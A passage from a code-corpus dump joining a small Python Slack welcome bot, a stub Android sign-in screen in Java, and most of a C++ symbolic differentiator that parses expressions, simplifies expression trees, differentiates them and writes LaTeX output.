def count_words_at_url(url):
resp = requests.get(url)
return len(resp.text.split())
def test_on_joshua():
redis = StrictRedis(host='redis')
token = "<PASSWORD>55-3c4a5c84e1"
this_slack_client = SlackClient(token)
open_im = this_slack_client.api_call("im.open", user='U0KL2S477')
this_slack_client.api_call(
"chat.postMessage",
channel="general",
text="test",
username='pybot',
icon_emoji=':panda_face:'
)
def welcome_new_users():
redis = StrictRedis(host='redis')
token = "<KEY>"
this_slack_client = SlackClient(token)
users = this_slack_client.api_call("users.list")
current_users = {user['id']:user['name'] for user in users['members']}
with open('users.txt', 'r') as users_file:
known_users = users_file.read().splitlines()
new_users = set(current_users) - set(known_users)
print(new_users)
for new_user in new_users:
open_im = this_slack_client.api_call("im.open", user=new_user)
channel_to_new_user = open_im['channel']['id']
this_slack_client.api_call(
"chat.postMessage",
channel=channel_to_new_user,
text=new_user_message,
username='pybot',
icon_emoji=':robot_face:'
)
this_slack_client.api_call(
"chat.postMessage", channel="#general",
text="Welcome to the Team! <@{}|{}>".format(new_user,current_users[new_user]),
username='pybot', icon_emoji=':robot_face:'
)
|
92bd332aa489cd25a1931348d6ed36b04bc70ed8
|
[
"Markdown",
"Python",
"Text",
"Dockerfile"
] | 6
|
Python
|
mlnd/pybot
|
e04b7e5759394957cc2144f450e93b3cf72e9789
|
517fc73e904f5f7723b4f9e138a24148e7399ed8
|
refs/heads/master
|
<file_sep>package com.example.rockb.icancook;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class SigninActivity extends AppCompatActivity implements View.OnClickListener {
Button googleButton, facebookButton, createButton;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_signin);
googleButton = findViewById(R.id.googleButton);
facebookButton = findViewById(R.id.facebookButton);
createButton = findViewById(R.id.createButton);
googleButton.setOnClickListener(this);
facebookButton.setOnClickListener(this);
createButton.setOnClickListener(this);
}
@Override
public void onClick(View v) {
if(v.getId()==R.id.googleButton){
//Insert Code to be executed when google button clicked
//Should pull google info from user to generate account
}
if(v.getId() == R.id.facebookButton){
//Insert Code to be executed when google button clicked
//Should pull facebook info from user to generate account
}
if(v.getId() == R.id.createButton){
//Insert Code to be executed when google button clicked
//Should bring user to account creation Activity
}
}
}
|
14fc8dabb9a4be6ebce8515cd4917379c9c5b0e9
|
[
"Java"
] | 1
|
Java
|
shane-harris/ICanCook
|
77f21b39ada11985d5086425026acbdcd6327f06
|
7bc0f75028bf87bc1310f7c24e5af74b5c150250
|
refs/heads/master
|
<file_sep>//
// Created by denis on 22.08.19.
//
#include "Obj.hpp"
Obj::o_alloc Obj::alloc = Obj::o_alloc();
Obj::Obj(int type, Obj *par, Obj *right, Obj *left) : type_(type), parent_(par), right_(right), left_(left){}
Obj* Obj::operator()(Obj *left, Obj *right) {
//Work with left child
left_ = left;
if(left)
left->set_parent(this);
//Work with right child
right_ = right;
if(right)
right->set_parent(this);
return this;
}
void Obj::set_parent(Obj *par) {
parent_ = par;
}
void Obj::set_left(Obj* left){
left_ = left;
}
void Obj::set_right(Obj *right) {
right_ = right;
}
int Obj::get_type() const {
return type_;
}
Obj* Obj::get_left() const {
return left_;
}
Obj* Obj::get_right()const{
return right_;
}
Obj* Obj::get_parent() const
{
return parent_;
}
Obj* Obj::create(int type) const
{
Obj* ptr = o_traits::allocate(Obj::alloc, 1);
o_traits::construct(Obj::alloc, ptr, type, nullptr, nullptr, nullptr);
return ptr;
}
bool Obj::operator==(const Obj& obj) const
{
return (type_ == obj.type_);
}
void Obj::remove(Obj* root)
{
if (!root)
return;
if (root->get_right() == nullptr && root->get_left() == nullptr)
{
Obj::o_traits::destroy(Obj::alloc, root);
Obj::o_traits::deallocate(Obj::alloc, root, 1);
return;
}
if(!(root->get_left() == nullptr && root->get_right() != nullptr))
remove(root->get_left());
remove(root->get_right());
Obj::o_traits::destroy(Obj::alloc, root);
Obj::o_traits::deallocate(Obj::alloc, root, 1);
}
void Obj::MakeChild(Obj *child) {
if(this == this->get_parent()->get_left())
this->get_parent()->set_left(child);
else
this->get_parent()->set_right(child);
}<file_sep>//
// Created by denis on 22.08.19.
//
#include "BinaryTree.hpp"
BinaryTree::ptr_print BinaryTree::printer[SIZE_ARRAY_PRINT] = { &BinaryTree::PrintValue,
&BinaryTree::PrintOperator,
&BinaryTree::PrintFunc,
&BinaryTree::PrintUnknown };
BinaryTree::ptr_funcs BinaryTree::simplifier[SIZE_ARRAY_SIMPLIFY] = { &BinaryTree::SimplifyPlus,
&BinaryTree::SimplifyMinus,
&BinaryTree::SimplifyMultiplication,
&BinaryTree::SimplifyDivision,
&BinaryTree::SimplifyExponent };
String BinaryTree::func_names[SIZE_ARRAY_FUNCTIONS] = { String("\\sin"),
String("\\cos"),
String("\\arcsin"),
String("\\log"),
String("\\arccos"),
String("\\tg"),
String("\\ctg") };
BinaryTree::~BinaryTree()
{
clear(root_);
}
BinaryTree::BinaryTree(Obj *root) : root_(root) {
assert(root_);
}
BinaryTree& BinaryTree::operator=(BinaryTree&& rhs) noexcept {
root_ = rhs.root_;
rhs.root_ = nullptr;
return *this;
}
void BinaryTree::set_root(Obj* root){
assert(root_ == nullptr); //otherwise this operation seems to be very strange
root_ = root;
}
void BinaryTree::PrintValue(std::ofstream& out, Obj* root)const{
assert(root);
out << static_cast<Number*>(root)->get_val();
if (root->get_parent() && (root->get_parent())->get_right() != root
&& static_cast<Symbol*>(root->get_parent())->get_name() != '^')
out << "{}";
out.flush();
}
void BinaryTree::PrintOperator(std::ofstream &out, Obj *root) const {
//this case is only for operator with name -
if(!root->get_left()){
out << "\\left(";
out << static_cast<Symbol*>(root)->get_name();
dump_tree(root->get_right(), out);
out << "\\right)";
out.flush();
}
else{
if(CheckParentPriority(root))
out << "\\left(";
auto op = static_cast<Symbol*>(root);
switch(op->get_name()){
case '*':{
dump_tree(root->get_left(), out);
if(root->get_left()->get_type() != Value)
out << "{}";
out << "\\cdot" << "{}";
dump_tree(root->get_right(), out);
break;
}
case '^':{
if(root->get_right()->get_type() == Value
&& static_cast<Number*>(root->get_right())->get_val() == 0.5){
out << "\\sqrt{";
dump_tree(root->get_left(), out);
out << "}";
break;
}
if(root->get_left()->get_type() != Value && root->get_left()->get_type() != Unknown){
out << "\\left(";
dump_tree(root->get_left(), out);
out << "\\right)";
}
else
dump_tree(root->get_left(), out);
out << "^{";
dump_tree(root->get_right(), out);
out << "}";
break;
}
case '/':{
out << "\\frac{";
dump_tree(root->get_left(), out);
out << "}{";
dump_tree(root->get_right(), out);
out << '}';
break;
}
default:{
dump_tree(root->get_left(), out);
if(root->get_left()->get_type() != Value)
out << "{}";
out << op->get_name() << "{}";
dump_tree(root->get_right(), out);
break;
}
}
if(CheckParentPriority(root))
out << "\\right)";
out.flush();
}
}
void BinaryTree::PrintFunc(std::ofstream &out, Obj *root) const {
auto name_f = static_cast<Symbol*>(root);
if(name_f->get_name() == 'l'){
auto base = static_cast<Symbol*>(name_f->get_left());
if(base && base->get_name() == 'e'){
out << "\\ln \\left(";
dump_tree(root->get_right(), out);
out << "\\right)";
}
else if(root->get_left()->get_type() == Value &&
static_cast<Number*>(root->get_left())->get_val() == 10){
out << "\\lg \\left(";
dump_tree(root->get_right(), out);
out << "\\right)";
}
else{
out << "\\log_{";
dump_tree(root->get_left(), out);
out << "}{\\left(";
dump_tree(root->get_right(), out);
out << "\\right)}";
}
}
else{
int id = name_f->get_id() - BOUND;
assert(id >= 0 && id <= 6);
out << func_names[id].GetStr() << "{}\\left(";
dump_tree(root->get_right(), out);
out << "\\right)";
}
}
void BinaryTree::PrintUnknown(std::ofstream &out, Obj *root) const {
out << static_cast<Symbol*>(root)->get_name();
out.flush();
}
void BinaryTree::dump_tree(Obj* root, std::ofstream& out) const{
if(!root)
return;
int type = root->get_type();
assert(type >= 0 && type <= 3);
std::invoke(printer[type], *this, out, root);
}
bool BinaryTree::CheckParentPriority(Obj* obj)const{
assert(obj);
auto cur_tok = static_cast<Symbol*>(obj);
auto prev_tok = static_cast<Symbol*>(obj->get_parent());
if(!prev_tok)
return false;
if((prev_tok->get_name() == '*' || prev_tok->get_name() == '/')
&& (cur_tok->get_name() == '+' || cur_tok->get_name() == '-'))
return true;
if(prev_tok->get_name() == '^')
return true;
return false;
}
void BinaryTree::clear(Obj* root) {
/*Will clean all the allocated memory for this tree
* and i can determine the start position for this operation
* pointing to the appropriate root */
root->remove(root);
}
Obj* BinaryTree::WorkWithRightOne(Obj* copy_func, Obj* root){
copy_func->set_parent(root->get_parent());
if(root->get_parent())
root->MakeChild(copy_func);
root->remove(root);
return copy_func;
}
Obj* BinaryTree::Calculate(Obj* root) {
if (!root)
return nullptr;
switch (root->get_type()) {
case Value :
case Unknown :
case Func :
return root;
case Operator : {
auto op = static_cast<Symbol *>(root);
int id = op->get_id();
assert(id <= 4 && id >= 0);
return std::invoke(simplifier[id], *this, op);
}
default : {
std::cout << "No such type of nodes\n";
std::cout << "__ERROR__ in function : " << __PRETTY_FUNCTION__ << std::endl;
return nullptr;
}
}
}
Obj* BinaryTree::SimplifyDivision(Obj *root) {
//cases (0/smth)
if (CHECK_NOL_CHILD(root->get_left())) {
return MakeNumericalNode(root, 0);
}
//cases (smth/1)
if (CHECK_ONE(root->get_right())) {
Obj *copy_func = root->get_left();
root->set_left(nullptr);
return WorkWithRightOne(copy_func, root);
}
return MakeCount(root);
}
Obj* BinaryTree::SimplifyMultiplication(Obj *root) {
//cases (smth*0) || (0*smth)
if (CHECK_NOL_CHILD(root->get_left()) || CHECK_NOL_CHILD(root->get_right())) {
return MakeNumericalNode(root, 0);
}
//cases (1*smth)
if (CHECK_ONE(root->get_left())) {
Obj *copy_func = root->get_right();
root->set_right(nullptr);
return WorkWithRightOne(copy_func, root);
}
//cases (smth*1)
if (CHECK_ONE(root->get_right())) {
Obj *copy_func = root->get_left();
root->set_left(nullptr);
return WorkWithRightOne(copy_func, root);
}
return MakeCount(root);
}
Obj* BinaryTree::SimplifyMinus(Obj *root) {
//cases (0-smth)
if(root->get_left() && CHECK_NOL_CHILD(root->get_left())){
root->remove(root->get_left());
root->set_left(nullptr);
return root;
}
//cases (smth-0)
if (CHECK_NOL_CHILD(root->get_right()))
{
Obj* copy_func = root->get_left();
root->set_left(nullptr);
return WorkWithRightOne(copy_func, root);
}
//case (smth - smth) this node is 0
if (root->get_left() && root->get_right() &&
root->get_left()->get_type() == root->get_right()->get_type() && *(root->get_left()) == *(root->get_right()))
{
return MakeNumericalNode(root, 0);
}
return MakeCount(root);
}
Obj* BinaryTree::SimplifyPlus(Obj *root) {
//cases (smth+0)
if(CHECK_NOL_CHILD(root->get_right())){
Obj* copy_func = root->get_left();
root->set_left(nullptr);
return WorkWithRightOne(copy_func, root);
}
//cases (0+smth)
if(CHECK_NOL_CHILD(root->get_left())){
Obj* copy_func = root->get_right();
root->set_right(nullptr);
return WorkWithRightOne(copy_func, root);
}
return MakeCount(root);
}
Obj* BinaryTree::SimplifyExponent(Obj* root){
//cases (0^smth)
if(CHECK_NOL_CHILD(root->get_left())){
return MakeNumericalNode(root, 0);
}
//cases (smth^0)
if(CHECK_NOL_CHILD(root->get_right())){
return MakeNumericalNode(root, 1);
}
//cases (1^smth)
if(CHECK_ONE(root->get_left())){
return MakeNumericalNode(root, 1);
}
//cases (smth^1)
if(CHECK_ONE(root->get_right())){
Obj *copy_func = root->get_left();
root->set_left(nullptr);
return WorkWithRightOne(copy_func, root);
}
return MakeCount(root);
}
Obj* BinaryTree::MakeNumericalNode(Obj* root, float value){
Number* num = nullptr;
Obj* new_root = num->create(Value, value);
if(root->get_parent())
root->MakeChild(new_root);
new_root->set_parent(root->get_parent());
root->remove(root);
return new_root;
}
Obj* BinaryTree::MakeCount(Obj* root){
if(root->get_right() &&
root->get_right()->get_type() == Value
&& ((root->get_left() && root->get_left()->get_type() == Value) || !root->get_left())){
auto symbol = static_cast<Symbol*>(root);
Number* pivotal = nullptr;
if(!root->get_left())
pivotal = symbol->calc(static_cast<Number*>(root->get_right())->get_val(), 0);
else
pivotal = symbol->calc(static_cast<Number*>(root->get_right())->get_val(),
static_cast<Number*>(root->get_left())->get_val());
if(!root->get_parent()) {
root_ = pivotal;
}else {
pivotal->set_parent(root->get_parent());
root->MakeChild(pivotal);
}
root->remove(root);
return pivotal;
}
return root;
}
void BinaryTree::SimplifyTree(Obj* obj){
if(!obj)
return;
SimplifyTree(obj->get_left());
SimplifyTree(obj->get_right());
Obj* pivotal = Calculate(obj);
if(pivotal == obj || pivotal->get_parent())
return;
root_ = pivotal;
}<file_sep>//
// Created by denis on 22.08.19.
//
#pragma once
#include "Number.hpp"
#include "Symbol.hpp"
#include "../String_Lib/String.hpp"
#include <iostream>
#include <fstream>
#include <cstdio>
#include <cassert>
#include <functional>
enum SIZE{
SIZE_ARRAY_PRINT = 4,
SIZE_ARRAY_SIMPLIFY = 5,
SIZE_ARRAY_FUNCTIONS = 7
};
#define CHECK_ONE(op) (op->get_type() == Value && static_cast<Number*>(op)->get_val() == 1)
#define CHECK_NOL_CHILD(op) (op->get_type() == Value && static_cast<Number*>(op)->get_val() == 0)
class BinaryTree final
{
public:
explicit BinaryTree(Obj* root);
~BinaryTree();
BinaryTree& operator=(BinaryTree&& rhs) noexcept;
BinaryTree(const BinaryTree& copy) = delete;
BinaryTree& operator=(const BinaryTree& copy) = delete;
BinaryTree() = default;
Obj* get_root() const { return root_; }
void set_root(Obj* root);
void clear(Obj* root);
Obj* Calculate(Obj* root);
Obj* MakeCount(Obj* root);
bool CheckParentPriority(Obj* obj) const;
void SimplifyTree(Obj* obj);
void dump_tree(Obj* root, std::ofstream& out) const;
Obj* WorkWithRightOne(Obj* copy_func, Obj* root);
Obj* MakeNumericalNode(Obj* root, float value);
//-----------------Functions for simplifying operators-------------------------//
Obj* SimplifyExponent(Obj* root);
Obj* SimplifyPlus(Obj* root);
Obj* SimplifyMinus(Obj* root);
Obj* SimplifyMultiplication(Obj* root);
Obj* SimplifyDivision(Obj* root);
//----------------------------------------------------------------------------//
//____________________Functions for printing different types__________________//
void PrintValue(std::ofstream& out, Obj* root) const;
void PrintOperator(std::ofstream& out, Obj* root) const;
void PrintFunc(std::ofstream& out, Obj* root) const;
void PrintUnknown(std::ofstream& out, Obj* root) const;
private:
Obj* root_ = nullptr;
typedef void (BinaryTree::*ptr_print)(std::ofstream&, Obj*) const;
static ptr_print printer[SIZE_ARRAY_PRINT];
typedef Obj* (BinaryTree::*ptr_funcs)(Obj*);
static ptr_funcs simplifier[SIZE_ARRAY_SIMPLIFY];
/*static field to convert short math notation into
* full mathematical notation for dumping the right representation
* of functions into a file stream*/
static String func_names[SIZE_ARRAY_FUNCTIONS];
};
<file_sep>//
// Created by denis on 21.08.19.
//
#include "differentiator.hpp"
Obj* differentiator::Create(int type, const char c) const{
Symbol* symbol = nullptr;
return symbol->create(type, c);
}
Obj* differentiator::Create(float v)const {
Number* num = nullptr;
return num->create(Value, v);
}
void differentiator::ShowResult(){
/*In my realization in constructor of tree */
primary_expression = BinaryTree(GetG());
primary_expression.SimplifyTree(primary_expression.get_root());
differentiate_expression = BinaryTree(Differentiate(primary_expression.get_root()));
differentiate_expression.SimplifyTree(differentiate_expression.get_root());
LaTeX();
}
void differentiator::LaTeX()const{
std::ofstream output("new_tests/output.tex");
if(output.fail()){
std::cerr << "output.tex cannot be made or opened\n";
return;
}
output << "\\documentclass[a4paper,12pt]{article}\n";
output << "\\usepackage[T2A]{fontenc}\n"
"\\usepackage[utf8]{inputenc}\n"
"\\usepackage[english,russian]{babel}\n";
output << "\\usepackage{amsmath,amsfonts,amssymb,amsthm,mathtools}\n";
output << "\\title{Утрем нос Стивену Вольфраму!}\n"
"\\date{\\today}\n";
output << "\\begin{document}\n";
output << "\\maketitle\n\n";
output << "\\flushleft{\\textbf{\\large{Исходная функция :}}}\n"
"\\center{\\fbox{$f(x) = ";
primary_expression.dump_tree(primary_expression.get_root(), output);
output << "$}}\\\\[1cm]\n";
output << "\\flushleft{\\textbf{\\large{Производная исходной функции :}}}\\\\[2mm]"
"\\center{\\fbox{$f'(x) = ";
differentiate_expression.dump_tree(differentiate_expression.get_root(), output);
output << "$}}\n\n\n";
output << "\\end{document}\n";
output.close();
}
Obj* differentiator::GetG() {
auto root = GetE();
assert(_cur == _str.GetStr() + _str.size());
++_cur;
return root;
}
//We are going to work with float values
Obj* differentiator::GetN() {
float res_value{0};
float after_dot{1};
const char* save_cur = _cur;
bool is_dot{false};
while((*_cur >= '0' && *_cur <= '9') || *_cur == '.'){
if(*_cur == '.'){
++_cur;
is_dot = true;
continue;
}
if(!is_dot)
res_value = res_value * 10 + static_cast<float>(*_cur - '0');
else{
res_value += static_cast<float>(*_cur - '0') * 0.1f / after_dot;
after_dot *= 10;
}
++_cur;
}
if(save_cur == _cur)
return nullptr;
return Create(res_value);
}
Obj* differentiator::GetT(){
Obj* pivotal = GetP();
Obj* right_ch{nullptr};
Obj* left_ch{nullptr};
char symbol{'\0'};
while(*_cur == '*' || *_cur == '/' || *_cur == '^'){
symbol = *_cur;
++_cur;
left_ch = pivotal;
right_ch = GetP();
pivotal = Create(Operator, symbol);
(*pivotal)(left_ch, right_ch);
}
return pivotal;
}
Obj* differentiator::GetE(){
Obj* pivotal = GetT();
Obj* right_ch{nullptr};
Obj* left_ch{nullptr};
Obj* extra_obj{nullptr};
char symbol{'\0'};
while(*_cur == '-' || *_cur == '+'){
symbol = *_cur;
++_cur;
left_ch = pivotal;
if(!left_ch) {
extra_obj = GetP();
left_ch = Create(Operator, symbol);
(*left_ch)(nullptr, extra_obj);
symbol = *_cur;
++_cur;
if(_cur == _str.GetStr() + _str.GetNumBytes()){
--_cur;
pivotal = left_ch;
return pivotal;
}
}
right_ch = GetT();
pivotal = Create(Operator, symbol);
//this operator will make children for pivotal;
(*pivotal)(left_ch, right_ch);
}
return pivotal;
}
Obj* differentiator::GetP(){
Obj* pivotal = nullptr;
if(*_cur == '('){
++_cur;
pivotal = GetE();
assert(*_cur == ')');
++_cur;
return pivotal;
}
Obj* unknown = GetU();
Obj* function = nullptr;
if(!unknown){
function = GetF();
if(!function){
pivotal = GetN();
return pivotal;
}
return function;
}
else
return unknown;
}
Obj* differentiator::GetF(){
Obj* pivotal{nullptr};
Obj* right_ch{nullptr};
Obj* left_ch{nullptr};
if(*_cur == func(SIN) || *_cur == func(COS) || *_cur == func(ARCCOS) || *_cur == func(ARCSIN)
|| *_cur == func(TG) || *_cur == func(CTG)){
pivotal = Create(Func, *_cur);
++_cur;
right_ch = GetP();
(*pivotal)(left_ch, right_ch);
return pivotal;
}
else if (*_cur == func(LOG)){
pivotal = Create(Func, *_cur);
_cur += 2;
left_ch = GetE();
assert(*_cur == ',');
++_cur;
right_ch = GetE();
++_cur;
(*pivotal)(left_ch, right_ch);
return pivotal;
}
return nullptr;
}
Obj* differentiator::GetU(){
Obj* unknown = nullptr;
if(*_cur == 'x' || (*_cur == 'e' && *(_cur - 2) == 'l')){
unknown = Create(Unknown, *_cur);
++_cur;
return unknown;
}
else
return nullptr;
}
Obj* differentiator::Differentiate(Obj* root)const{
if(!root)
return nullptr;
int type = root->get_type();
assert(type >= 0 && type <= 3);
return std::invoke(diff_type[type], *this, root);;
}
Obj* differentiator::Diff_Value(Obj* obj)const{
return Create(0);
}
Obj* differentiator::Diff_Func(Obj* obj)const{
auto name_f = static_cast<Symbol*>(obj);
int id = name_f->get_id();
assert(id >= 0 && id <= 11);
return std::invoke(func[id], *this, name_f);
}
Obj* differentiator::Diff_Operator(Obj* obj)const{
return Diff_Func(obj);
}
Obj* differentiator::Diff_Unknown(Obj* obj)const
{
/*Here I must look at the case of Unknown [e]
* its derivative won't be just 1 but 0*/
int id = static_cast<Symbol*>(obj)->get_id();
assert(id == Variable || id == Exponenta);
return (id == Variable) ? Create(1) : Create(0);
}
Obj* differentiator::Multiplication(Obj *obj)const {
return MakeOperatorForMulDiv(obj, '+');
}
Obj* differentiator::MakeOperatorForMulDiv(Obj* obj, const char link)const{
auto op = Create(Operator, link);
auto left_diff = Differentiate(obj->get_left());
auto right_diff = Differentiate(obj->get_right());
auto left_multiplication = Create(Operator, '*');
auto right_multiplication = Create(Operator, '*');
auto left_copy = make_copy(obj->get_left());
auto right_copy = make_copy(obj->get_right());
(*left_multiplication)(left_diff, right_copy);
(*right_multiplication)(left_copy, right_diff);
(*op)(left_multiplication, right_multiplication);
return op;
}
Obj* differentiator::Division(Obj *obj) const{
auto pivotal = Create(Operator, '/');
auto left_ch = MakeOperatorForMulDiv(obj, '-');
auto right_ch = Create(Operator, '^');
(*right_ch)(make_copy(obj->get_right()), Create(2));
(*pivotal)(left_ch, right_ch);
return pivotal;
}
Obj* differentiator::Exponentiation(Obj *obj) const{
auto pivotal = Create(Operator, '*');
//this logarithm will be the left child of multiplication operator root
auto logarithm = Create(Func, 'l');
auto left_ch = make_copy(obj);
auto copy_left_child_obj = make_copy(obj->get_left());
(*logarithm)(Create(Unknown, 'e'), copy_left_child_obj);
auto multip = Create(Operator, '*');
(*multip)(make_copy(obj->get_right()), logarithm);
auto right_ch = Differentiate(multip);
(*pivotal)(left_ch, right_ch);
multip->remove(multip);
return pivotal;
}
Obj* differentiator::Minus(Obj* obj)const{
return PlusMinusDiff(obj, '-');
}
Obj* differentiator::Plus(Obj* obj)const{
return PlusMinusDiff(obj, '+');
}
Obj* differentiator::PlusMinusDiff(Obj* obj, const char type)const{
auto op = Create(Operator, type);
auto left_ch = Differentiate(obj->get_left());
auto right_ch = Differentiate(obj->get_right());
(*op)(left_ch, right_ch);
return op;
}
Obj* differentiator::Sinus(Obj* obj)const{
auto left_ch = make_copy(obj);
static_cast<Symbol*>(left_ch)->set_name('c');
auto right_ch = Differentiate(obj->get_right());
auto pivotal = Create(Operator, '*');
(*pivotal)(left_ch, right_ch);
return pivotal;
}
Obj* differentiator::make_copy(Obj *obj) const {
if(!obj)
return nullptr;
if(!obj->get_right() && !obj->get_left()){
auto pivotal = obj->copy();
return pivotal;
}
auto left_ch = make_copy(obj->get_left());
auto op = static_cast<Symbol*>(obj);
auto pivotal = Create(op->get_type(), op->get_name());
auto right_ch = make_copy(obj->get_right());
(*pivotal)(left_ch, right_ch);
return pivotal;
}
Obj* differentiator::Cosinus(Obj* obj)const{
auto right_ch = Differentiate(obj->get_right());
auto left_ch = Create(Operator, '-');
auto cope_cos_f = make_copy(obj);
static_cast<Symbol*>(cope_cos_f)->set_name('s');
(*left_ch)(nullptr, cope_cos_f);
Obj* pivotal = Create(Operator, '*');
(*pivotal)(left_ch, right_ch);
return pivotal;
}
Obj* differentiator::Logarithm(Obj* obj)const{
if(obj->get_left()->get_type() == Unknown &&
static_cast<Symbol*>(obj->get_left())->get_name() == 'e') {
auto pivotal = Create(Operator, '/');
(*pivotal)(Differentiate(obj->get_right()), make_copy(obj->get_right()));
return pivotal;
}
else{
auto pivotal = Create(Operator, '/');
auto left_ln = Create(Func, 'l');
auto right_ln = Create(Func, 'l');
(*left_ln)(Create(Unknown, 'e'), make_copy(obj->get_right()));
(*right_ln)(Create(Unknown, 'e'), make_copy(obj->get_left()));
(*pivotal)(left_ln, right_ln);
auto diff_log = Differentiate(pivotal);
pivotal->remove(pivotal);
return diff_log;
}
}
Obj* differentiator::Arcsin(Obj* obj)const{
auto pivotal = Create(Operator, '/');
auto left_ch = Differentiate(obj->get_right());
auto right_ch = Create(Operator, '^');
auto copy_func_expression = make_copy(obj->get_right());
auto last = (*Create(Operator, '/'))(Create(1), Create(2));
auto mid = (*Create(Operator, '^'))(copy_func_expression, Create(2));
(*right_ch)((*Create(Operator, '-'))(Create(1), mid ), last);
return (*pivotal)(left_ch, right_ch);
}
Obj* differentiator::Arccos(Obj* obj)const{
auto pivotal = Create(Operator, '-');
return (*pivotal)(nullptr, Arcsin(obj));
}
Obj* differentiator::Tg(Obj* obj)const{
auto pivotal = Create(Operator, '/');
auto diff_func = Differentiate(obj->get_right());
auto copy_func = make_copy(obj->get_right());
auto denominator = Create(Operator, '^');
auto left = (*Create(Func, func(COS)))(nullptr, copy_func);
(*denominator)(left, Create(2));
return (*pivotal)(diff_func, denominator);
}
Obj* differentiator::Ctg(Obj *obj) const{
auto pivotal = Create(Operator, '-');
auto right_ch = Create(Operator, '/');
auto diff_func = Differentiate(obj->get_right());
auto copy_func = make_copy(obj->get_right());
auto left = (*Create(Func, func(SIN)))(nullptr, copy_func);
auto right = (*Create(Operator, '^'))(left, Create(2));
(*right_ch)(diff_func, right);
return (*pivotal)(nullptr, right_ch);
}
<file_sep>//
// Created by denis on 22.07.19.
//
#ifndef STRING_LIB_STRING_HPP
#define STRING_LIB_STRING_HPP
#include <iostream>
#include <cstdio>
#include <exception>
#include <cstring>
#include <cassert>
#include <stdexcept>
#include <cstdlib>
#define TOP_ASCII 127
#define BOTTOM_ASCII 0
/*This value represents the maximum number of char elements in the string
* in case of reading from stdin*/
#define SIZE_ARRAY_FOR_STR 100
class String final{
public:
explicit String(const char* str);
String(String&& st)noexcept;
~String();
String() = default;
void MoveData(String&& st)noexcept;
String& operator=(const String& s);
String& operator=(String&& s) noexcept;
String(const String& s);
bool empty()const noexcept;
/*This method will process the string and do such actions :
* 1) Substitute long function names with just one letters
* 2) Delete all the spaces in the string
* 3) Report in the case of RUBBISH data in the string by throwing an exception
*
* As result this function will return new string which will represent
* a short mathematical representation of the current string*/
String ParseShortMathNotation()const;
char* GetStr()const noexcept;
int GetNumBytes()const noexcept;
int size()const noexcept;
bool IsThisByteAscii(char c) const;
bool eng() const noexcept
{
return is_english;
}
friend std::ostream&operator<<(std::ostream& out, const String& s);
friend std::istream&operator>>(std::istream& in, String& s);
private:
char* str_ = nullptr;
int size_ = 0; //number of letters
int num_bytes_ = 0; //including the last '\0'
bool is_english = false; // this value will show if the string is ASCII or not
int StrLen(const char* str)const;
int CountBytes(const char* str) const;
};
#endif //STRING_LIB_STRING_HPP
<file_sep>//
// Created by denis on 22.08.19.
//
#include "Symbol.hpp"
void Symbol::deduce_id(const char c)
{
switch (c)
{
case '+' :
id_ = Plus;
break;
case '-' :
id_ = Minus;
break;
case '*' :
id_ = Multip;
break;
case '/' :
id_ = Division;
break;
case '^' :
id_ = Exponen;
break;
case 's' :
id_ = Sinus;
break;
case 'c' :
id_ = Cosine;
break;
case 'n' :
id_ = Arcsine;
break;
case 'l' :
id_ = Log;
break;
case 'a' :
id_ = Arccosine;
break;
case 't' :
id_ = Tg;
break;
case 'g' :
id_ = Ctg;
break;
case 'x' :
id_ = Variable;
break;
case 'e' :
id_ = Exponenta;
break;
default :
std::cerr << "ERROR !!!! Unrecognized symbol : " << name_ << std::endl;
throw std::invalid_argument("Constructor cannot generate an object "
"of Symbol Token due to unrecognized Token");
}
}
bool Symbol::operator==(const Obj& obj) const
{
auto rhs_ptr = dynamic_cast<const Symbol*>(&obj);
return (rhs_ptr->type_ == type_ && rhs_ptr->id_ == id_ && rhs_ptr->name_ == name_);
}
Symbol::Symbol(int code, const char name) : Obj(code, nullptr, nullptr, nullptr), name_(name)
{
deduce_id(name_);
}
Symbol* Symbol::create(int code, char c) const
{
Symbol* sym = s_traits::allocate(Symbol::alloc_, 1);
s_traits::construct(Symbol::alloc_, sym, code, c);
return sym;
}
Number* Symbol::calc(float x, float y)const{
Number* val = nullptr;
switch(name_) {
case '+' : {
return (val->create(Value, y + x));
}
case '-' : {
return (val->create(Value, y - x));
}
case '*' : {
return (val->create(Value, y * x));
}
case '/': {
return (val->create(Value, y / x));
}
case '^': {
return (val->create(Value, pow(y,x)));
}
default:
return val;
}
}
Obj* Symbol::copy() const {
Symbol* copy_sym = s_traits::allocate(Symbol::alloc_, 1);
s_traits::construct(Symbol::alloc_, copy_sym, type_, name_);
return copy_sym;
}
void Symbol::set_name(const char c) {
name_ = c;
deduce_id(name_);
}
Symbol::s_alloc Symbol::alloc_ = Symbol::s_alloc();<file_sep>//
// Created by denis on 22.07.19.
//
#include "String.hpp"
String::String(const char* str) {
size_ = StrLen(str);
num_bytes_ = CountBytes(str);
is_english = (size_ == num_bytes_ - 1);
str_ = new char[num_bytes_];
for (int i = 0; i < num_bytes_; ++i)
str_[i] = str[i];
}
String::String(String&& st)noexcept{
MoveData(std::move(st));
}
void String::MoveData(String&& st)noexcept
{
str_ = st.str_;
size_ = st.size_;
num_bytes_ = st.num_bytes_;
is_english = st.is_english;
st.size_ = 0;
st.num_bytes_ = 0;
st.str_ = nullptr;
}
String& String::operator=(String&& st) noexcept{
if(this == &st)
return *this;
delete[] str_;
MoveData(std::move(st));
return *this;
}
String::String(const String& s){
size_ = s.size_;
num_bytes_ = s.num_bytes_;
str_ = new char[num_bytes_]{};
for(int i = 0; i < num_bytes_; ++i)
str_[i] = s.str_[i];
is_english = s.is_english;
}
String& String::operator=(const String& s){
if(this == &s)
return *this;
if(num_bytes_ != 0){
delete[] str_;
size_ = 0;
num_bytes_ = 0;
}
if(s.num_bytes_ != 0){
size_ = s.size_;
num_bytes_ = s.num_bytes_;
str_ = new char[num_bytes_]{};
for(int i = 0; i < num_bytes_; ++i)
str_[i] = s.str_[i];
}
is_english = s.is_english;
return *this;
}
String::~String() { delete[] str_; }
int String::CountBytes(const char* str) const{
int bytes{0};
assert(str);
while(*str != '\0'){
++bytes;
++str;
}
return ++bytes; // including the last '\0'
}
int String::StrLen(const char *str) const {
int len{0};
assert(str);
while(*str != '\0'){
++len;
IsThisByteAscii(*str) ? ++str : str += 2;
}
return len;
}
bool String::IsThisByteAscii(char c) const {
return (c >= BOTTOM_ASCII && c <= TOP_ASCII);
}
std::istream& operator>>(std::istream& in, String& s){
int flag{0};
char c{'\0'};
char static_array[SIZE_ARRAY_FOR_STR];
